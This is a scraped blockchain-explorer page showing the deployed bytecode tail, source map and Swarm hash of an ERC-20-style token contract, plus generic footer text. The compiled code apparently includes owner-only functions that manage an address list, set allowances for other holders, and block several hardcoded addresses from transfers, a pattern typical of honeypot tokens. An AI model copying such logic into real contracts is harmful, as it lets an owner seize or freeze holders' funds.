614155b8015610ebc57507027f490acee7f11ab5fdd47209d6422c5a76001600160a01b03831614155b8015610ee557507377223f67d845e3cbcd9cc19287e24e71f72288886001600160a01b03831614155b8015610f0c57507113de30d1b1d830dcb7d54660f4778d2d4af56001600160a01b03831614155b8015610f35575073ae2fc483527b8ef99eb5d9b44875f005ba1fae136001600160a01b03831614155b610ded57600080fd5b600060208083528351808285015260005b81811015610f6b57858101830151858201604001528201610f4f565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461052357600080fd5b60008060408385031215610fb657600080fd5b610fbf83610f8c565b946020939093013593505050565b6020808252825182820181905260009190848201906040850190845b8181101561100e5783516001600160a01b031683529284019291840191600101610fe9565b50909695505050505050565b60008060006060848603121561102f57600080fd5b61103884610f8c565b925061104660208501610f8c565b9150604084013590509250925092565b60006020828403121561106857600080fd5b61107182610f8c565b9392505050565b60006020828403121561108a57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b600080604083850312156110ba57600080fd5b823567ffffffffffffffff808211156110d257600080fd5b818501915085601f8301126110e657600080fd5b81356020828211156110fa576110fa611091565b8160051b604051601f19603f8301168101818110868211171561111f5761111f611091565b60405292835281830193508481018201928984111561113d57600080fd5b948201945b838610156111625761115386610f8c565b85529482019493820193611142565b96506111719050878201610f8c565b9450505050509250929050565b6000806040838503121561119157600080fd5b61119a83610f8c565b91506111a860208401610f8c565b90509250929050565b600181811c908216806111c557607f821691505b6020821081036111e557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610438576104386111eb565b81810381811115610438576104386111eb565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b600060018201611265576112656111eb565b506001019056fea264697066735822122036bb3efa6bd2c3fdf547ed8766f16537c9c0f9c077b54cdbe27bc631d88807c764736f6c63430008130033

Deployed Bytecode Sourcemap

8440:1595:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1756:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9128:269;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;9128:269:0;1004:187:1;2089:108:0;2177:12;;2089:108;;;1342:25:1;;;1330:2;1315:18;2089:108:0;1196:177:1;9013:107:0;;;:::i;:::-;;;;;;;:::i;2915:261::-;;;;;;:::i;:::-;;:::i;8685:136::-;;;;;;:::i;:::-;;:::i;1980:99::-;2063:8;;1980:99;;2063:8;;;;2707:36:1;;2695:2;2680:18;1980:99:0;2565:184:1;3184:238:0;;;;;;:::i;:::-;;:::i;7138:146::-;;;;;;:::i;:::-;;:::i;:::-;;9409:246;;;;;;:::i;:::-;;:::i;2207:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;2308:18:0;2281:7;2308:18;;;;;;;;;;;;2207:127;8829:174;;;;;;:::i;:::-;;:::i;7294:164::-;;;;;;:::i;:::-;;:::i;7786:87::-;7859:6;;;;;-1:-1:-1;;;;;7859:6:0;7786:87;;-1:-1:-1;;;;;3103:32:1;;;3085:51;;3073:2;3058:18;7786:87:0;2939:203:1;1866:104:0;;;:::i;3430:436::-;;;;;;:::i;:::-;;:::i;2346:193::-;;;;;;:::i;:::-;;:::i;9665:367::-;;;;;;:::i;:::-;;:::i;2547:151::-;;;;;;:::i;:::-;;:::i;8031:201::-;;;;;;:::i;:::-;;:::i;1756:100::-;1810:13;1843:5;1836:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1756:100;:::o;9128:269::-;9211:4;9237:34;9254:7;9237:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9237:34:0;;;;;;;;;;;;;;;;;;;;;9263:7;9237:16;:34::i;:::-;9236:35;9228:59;;;;-1:-1:-1;;;9228:59:0;;5333:2:1;9228:59:0;;;5315:21:1;5372:2;5352:18;;;5345:30;-1:-1:-1;;;5391:18:1;;;5384:41;5442:18;;9228:59:0;;;;;;;;;9314:10;9335:32;9314:10;9351:7;9360:6;9335:8;:32::i;:::-;9385:4;9378:11;;;9128:269;;;;;:::o;9013:107::-;9068:17;7743:13;:11;:13::i;:::-;9105:7:::1;9098:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;;-1:-1:-1;;;;;9098:14:0::1;::::0;;;;;::::1;::::0;::::1;;::::0;;::::1;;;;;;;;;;9013:107:::0;:::o;2915:261::-;3012:4;896:10;3070:38;3086:4;896:10;3101:6;3070:15;:38::i;:::-;3119:27;3129:4;3135:2;3139:6;3119:9;:27::i;:::-;-1:-1:-1;3164:4:0;;2915:261;-1:-1:-1;;;;2915:261:0:o;8685:136::-;8750:4;7743:13;:11;:13::i;:::-;-1:-1:-1;8767:7:0::1;:24:::0;;::::1;::::0;;::::1;::::0;;-1:-1:-1;8767:24:0;;;;;::::1;::::0;;-1:-1:-1;;;;;;8767:24:0::1;-1:-1:-1::0;;;;;8767:24:0;::::1;;::::0;;7767:1:::1;8685:136:::0;;;:::o;3184:238::-;3272:4;896:10;3328:64;896:10;3344:7;3381:10;3353:25;896:10;3344:7;3353:9;:25::i;:::-;:38;;;;:::i;:::-;3328:8;:64::i;7138:146::-;7199:35;7210:23;896:10;7220:12;816:98;7210:23;7199:35;;1342:25:1;;;1330:2;1315:18;7199:35:0;;;;;;;7245:27;896:10;7265:6;7245:5;:27::i;:::-;7138:146;:::o;9409:246::-;9505:4;7743:13;:11;:13::i;:::-;9530:34:::1;9547:7;9530:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;;-1:-1:-1;;;;;9530:34:0::1;::::0;;;;;::::1;::::0;::::1;;::::0;;::::1;;;;;;;;9556:7;9530:16;:34::i;:::-;9522:58;;;::::0;-1:-1:-1;;;9522:58:0;;5333:2:1;9522:58:0::1;::::0;::::1;5315:21:1::0;5372:2;5352:18;;;5345:30;-1:-1:-1;;;5391:18:1;;;5384:41;5442:18;;9522:58:0::1;5131:335:1::0;9522:58:0::1;9592:32;9601:5;9608:7;9617:6;9592:8;:32::i;:::-;-1:-1:-1::0;9643:4:0::1;9409:246:::0;;;;;:::o;8829:174::-;8888:4;7743:13;:11;:13::i;:::-;8922:7:::1;8930:14:::0;;:18:::1;::::0;8947:1:::1;::::0;8930:18:::1;:::i;:::-;8922:27;;;;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;::::1;::::0;8905:7:::1;:14:::0;;-1:-1:-1;;;;;8922:27:0;;::::1;::::0;8913:5;;8905:14;::::1;;;;;:::i;:::-;;;;;;;;;:44;;;;;-1:-1:-1::0;;;;;8905:44:0::1;;;;;-1:-1:-1::0;;;;;8905:44:0::1;;;;;;8960:7;:13;;;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;;-1:-1:-1;;8960:13:0;;;;;-1:-1:-1;;;;;;8960:13:0::1;::::0;;;;;-1:-1:-1;8960:13:0::1;8829:174:::0;;;:::o;7294:164::-;7371:46;7387:7;896:10;7410:6;7371:15;:46::i;:::-;7428:22;7434:7;7443:6;7428:5;:22::i;:::-;7294:164;;:::o;1866:104::-;1922:13;1955:7;1948:14;;;;;:::i;3430:436::-;3523:4;896:10;3523:4;3606:25;896:10;3623:7;3606:9;:25::i;:::-;3579:52;;3670:15;3650:16;:35;;3642:85;;;;-1:-1:-1;;;3642:85:0;;6332:2:1;3642:85:0;;;6314:21:1;6371:2;6351:18;;;6344:30;6410:34;6390:18;;;6383:62;-1:-1:-1;;;6461:18:1;;;6454:35;6506:19;;3642:85:0;6130:401:1;3642:85:0;3763:60;3772:5;3779:7;3807:15;3788:16;:34;3763:8;:60::i;2346:193::-;2425:4;896:10;2481:28;896:10;2498:2;2502:6;2481:9;:28::i;9665:367::-;9756:4;;;9827:174;9838:10;:17;9834:1;:21;9827:174;;;9893:5;-1:-1:-1;;;;;9876:22:0;:10;9887:1;9876:13;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;9876:22:0;;9872:100;;9928:4;9919:13;;9951:5;;9872:100;9986:3;;;;:::i;:::-;;;;9827:174;;;-1:-1:-1;10018:6:0;9665:367;-1:-1:-1;;;9665:367:0:o;2547:151::-;-1:-1:-1;;;;;2663:18:0;;;2636:7;2663:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;2547:151::o;8031:201::-;7743:13;:11;:13::i;:::-;-1:-1:-1;;;;;8120:22:0;::::1;8112:73;;;::::0;-1:-1:-1;;;8112:73:0;;6878:2:1;8112:73:0::1;::::0;::::1;6860:21:1::0;6917:2;6897:18;;;6890:30;6956:34;6936:18;;;6929:62;-1:-1:-1;;;7007:18:1;;;7000:36;7053:19;;8112:73:0::1;6676:402:1::0;8112:73:0::1;8196:28;8215:8;8196:18;:28::i;5563:380::-:0;-1:-1:-1;;;;;5699:19:0;;5691:68;;;;-1:-1:-1;;;5691:68:0;;7285:2:1;5691:68:0;;;7267:21:1;7324:2;7304:18;;;7297:30;7363:34;7343:18;;;7336:62;-1:-1:-1;;;7414:18:1;;;7407:34;7458:19;;5691:68:0;7083:400:1;5691:68:0;-1:-1:-1;;;;;5778:21:0;;5770:68;;;;-1:-1:-1;;;5770:68:0;;7690:2:1;5770:68:0;;;7672:21:1;7729:2;7709:18;;;7702:30;7768:34;7748:18;;;7741:62;-1:-1:-1;;;7819:18:1;;;7812:32;7861:19;;5770:68:0;7488:398:1;5770:68:0;-1:-1:-1;;;;;5851:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5903:32;;1342:25:1;;;5903:32:0;;1315:18:1;5903:32:0;;;;;;;;5563:380;;;:::o;7883:132::-;7859:6;;-1:-1:-1;;;;;7859:6:0;;;;;896:10;7947:23;7939:68;;;;-1:-1:-1;;;7939:68:0;;8093:2:1;7939:68:0;;;8075:21:1;;;8112:18;;;8105:30;8171:34;8151:18;;;8144:62;8223:18;;7939:68:0;7891:356:1;7939:68:0;7883:132::o;5953:453::-;6088:24;6115:25;6125:5;6132:7;6115:9;:25::i;:::-;6088:52;;-1:-1:-1;;6155:16:0;:37;6151:248;;6237:6;6217:16;:26;;6209:68;;;;-1:-1:-1;;;6209:68:0;;8454:2:1;6209:68:0;;;8436:21:1;8493:2;8473:18;;;8466:30;8532:31;8512:18;;;8505:59;8581:18;;6209:68:0;8252:353:1;6209:68:0;6321:51;6330:5;6337:7;6365:6;6346:16;:25;6321:8;:51::i;:::-;6077:329;5953:453;;;:::o;3874:671::-;-1:-1:-1;;;;;4005:18:0;;3997:68;;;;-1:-1:-1;;;3997:68:0;;8812:2:1;3997:68:0;;;8794:21:1;8851:2;8831:18;;;8824:30;8890:34;8870:18;;;8863:62;-1:-1:-1;;;8941:18:1;;;8934:35;8986:19;;3997:68:0;8610:401:1;3997:68:0;-1:-1:-1;;;;;4084:16:0;;4076:64;;;;-1:-1:-1;;;4076:64:0;;9218:2:1;4076:64:0;;;9200:21:1;9257:2;9237:18;;;9230:30;9296:34;9276:18;;;9269:62;-1:-1:-1;;;9347:18:1;;;9340:33;9390:19;;4076:64:0;9016:399:1;4076:64:0;4153:38;4174:4;4180:2;4184:6;4153:20;:38::i;:::-;-1:-1:-1;;;;;4226:15:0;;4204:19;4226:15;;;;;;;;;;;4260:21;;;;4252:72;;;;-1:-1:-1;;;4252:72:0;;9622:2:1;4252:72:0;;;9604:21:1;9661:2;9641:18;;;9634:30;9700:34;9680:18;;;9673:62;-1:-1:-1;;;9751:18:1;;;9744:36;9797:19;;4252:72:0;9420:402:1;4252:72:0;-1:-1:-1;;;;;4360:15:0;;;:9;:15;;;;;;;;;;;4378:20;;;4360:38;;4420:13;;;;;;;;:23;;4392:6;;4360:9;4420:23;;4392:6;;4420:23;:::i;:::-;;;;;;;;4476:2;-1:-1:-1;;;;;4461:26:0;4470:4;-1:-1:-1;;;;;4461:26:0;;4480:6;4461:26;;;;1342:25:1;;1330:2;1315:18;;1196:177;4461:26:0;;;;;;;;4500:37;4964:591;;-1:-1:-1;;;;;5048:21:0;;5040:67;;;;-1:-1:-1;;;5040:67:0;;10029:2:1;5040:67:0;;;10011:21:1;10068:2;10048:18;;;10041:30;10107:34;10087:18;;;10080:62;-1:-1:-1;;;10158:18:1;;;10151:31;10199:19;;5040:67:0;9827:397:1;5040:67:0;5120:49;5141:7;5158:1;5162:6;5120:20;:49::i;:::-;-1:-1:-1;;;;;5207:18:0;;5182:22;5207:18;;;;;;;;;;;5244:24;;;;5236:71;;;;-1:-1:-1;;;5236:71:0;;10431:2:1;5236:71:0;;;10413:21:1;10470:2;10450:18;;;10443:30;10509:34;10489:18;;;10482:62;-1:-1:-1;;;10560:18:1;;;10553:32;10602:19;;5236:71:0;10229:398:1;5236:71:0;-1:-1:-1;;;;;5343:18:0;;:9;:18;;;;;;;;;;5364:23;;;5343:44;;5409:12;:22;;5381:6;;5343:9;5409:22;;5381:6;;5409:22;:::i;:::-;;;;-1:-1:-1;;5449:37:0;;1342:25:1;;;5475:1:0;;-1:-1:-1;;;;;5449:37:0;;;;;1330:2:1;1315:18;5449:37:0;1196:177:1;5499:48:0;5029:526;4964:591;;:::o;8242:191::-;8335:6;;;-1:-1:-1;;;;;8352:17:0;;;8335:6;8352:17;;;-1:-1:-1;;;;;;8352:17:0;;;;;;8385:40;;8335:6;;;;;;;;8385:40;;8316:16;;8385:40;8305:128;8242:191;:::o;6416:459::-;6564:42;-1:-1:-1;;;;;6558:48:0;;;;;;:100;;-1:-1:-1;6616:42:0;-1:-1:-1;;;;;6610:48:0;;;;6558:100;:152;;;;-1:-1:-1;6668:42:0;-1:-1:-1;;;;;6662:48:0;;;;6558:152;:204;;;;-1:-1:-1;6720:42:0;-1:-1:-1;;;;;6714:48:0;;;;6558:204;:256;;;;-1:-1:-1;6772:42:0;-1:-1:-1;;;;;6766:48:0;;;;6558:256;:308;;;;-1:-1:-1;6824:42:0;-1:-1:-1;;;;;6818:48:0;;;;6558:308;6550:317;;;;;14:548:1;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;745:254;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:658::-;1549:2;1601:21;;;1671:13;;1574:18;;;1693:22;;;1520:4;;1549:2;1772:15;;;;1746:2;1731:18;;;1520:4;1815:195;1829:6;1826:1;1823:13;1815:195;;;1894:13;;-1:-1:-1;;;;;1890:39:1;1878:52;;1985:15;;;;1950:12;;;;1926:1;1844:9;1815:195;;;-1:-1:-1;2027:3:1;;1378:658;-1:-1:-1;;;;;;1378:658:1:o;2041:328::-;2118:6;2126;2134;2187:2;2175:9;2166:7;2162:23;2158:32;2155:52;;;2203:1;2200;2193:12;2155:52;2226:29;2245:9;2226:29;:::i;:::-;2216:39;;2274:38;2308:2;2297:9;2293:18;2274:38;:::i;:::-;2264:48;;2359:2;2348:9;2344:18;2331:32;2321:42;;2041:328;;;;;:::o;2374:186::-;2433:6;2486:2;2474:9;2465:7;2461:23;2457:32;2454:52;;;2502:1;2499;2492:12;2454:52;2525:29;2544:9;2525:29;:::i;:::-;2515:39;2374:186;-1:-1:-1;;;2374:186:1:o;2754:180::-;2813:6;2866:2;2854:9;2845:7;2841:23;2837:32;2834:52;;;2882:1;2879;2872:12;2834:52;-1:-1:-1;2905:23:1;;2754:180;-1:-1:-1;2754:180:1:o;3147:127::-;3208:10;3203:3;3199:20;3196:1;3189:31;3239:4;3236:1;3229:15;3263:4;3260:1;3253:15;3279:1197;3372:6;3380;3433:2;3421:9;3412:7;3408:23;3404:32;3401:52;;;3449:1;3446;3439:12;3401:52;3489:9;3476:23;3518:18;3559:2;3551:6;3548:14;3545:34;;;3575:1;3572;3565:12;3545:34;3613:6;3602:9;3598:22;3588:32;;3658:7;3651:4;3647:2;3643:13;3639:27;3629:55;;3680:1;3677;3670:12;3629:55;3716:2;3703:16;3738:4;3761:2;3757;3754:10;3751:36;;;3767:18;;:::i;:::-;3813:2;3810:1;3806:10;3845:2;3839:9;3908:2;3904:7;3899:2;3895;3891:11;3887:25;3879:6;3875:38;3963:6;3951:10;3948:22;3943:2;3931:10;3928:18;3925:46;3922:72;;;3974:18;;:::i;:::-;4010:2;4003:22;4060:18;;;4094:15;;;;-1:-1:-1;4136:11:1;;;4132:20;;;4164:19;;;4161:39;;;4196:1;4193;4186:12;4161:39;4220:11;;;;4240:148;4256:6;4251:3;4248:15;4240:148;;;4322:23;4341:3;4322:23;:::i;:::-;4310:36;;4273:12;;;;4366;;;;4240:148;;;4407:6;-1:-1:-1;4432:38:1;;-1:-1:-1;4451:18:1;;;4432:38;:::i;:::-;4422:48;;;;;;3279:1197;;;;;:::o;4481:260::-;4549:6;4557;4610:2;4598:9;4589:7;4585:23;4581:32;4578:52;;;4626:1;4623;4616:12;4578:52;4649:29;4668:9;4649:29;:::i;:::-;4639:39;;4697:38;4731:2;4720:9;4716:18;4697:38;:::i;:::-;4687:48;;4481:260;;;;;:::o;4746:380::-;4825:1;4821:12;;;;4868;;;4889:61;;4943:4;4935:6;4931:17;4921:27;;4889:61;4996:2;4988:6;4985:14;4965:18;4962:38;4959:161;;5042:10;5037:3;5033:20;5030:1;5023:31;5077:4;5074:1;5067:15;5105:4;5102:1;5095:15;4959:161;;4746:380;;;:::o;5471:127::-;5532:10;5527:3;5523:20;5520:1;5513:31;5563:4;5560:1;5553:15;5587:4;5584:1;5577:15;5603:125;5668:9;;;5689:10;;;5686:36;;;5702:18;;:::i;5733:128::-;5800:9;;;5821:11;;;5818:37;;;5835:18;;:::i;5866:127::-;5927:10;5922:3;5918:20;5915:1;5908:31;5958:4;5955:1;5948:15;5982:4;5979:1;5972:15;5998:127;6059:10;6054:3;6050:20;6047:1;6040:31;6090:4;6087:1;6080:15;6114:4;6111:1;6104:15;6536:135;6575:3;6596:17;;;6593:43;;6616:18;;:::i;:::-;-1:-1:-1;6663:1:1;6652:13;;6536:135::o

Swarm Source

ipfs://36bb3efa6bd2c3fdf547ed8766f16537c9c0f9c077b54cdbe27bc631d88807c7
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.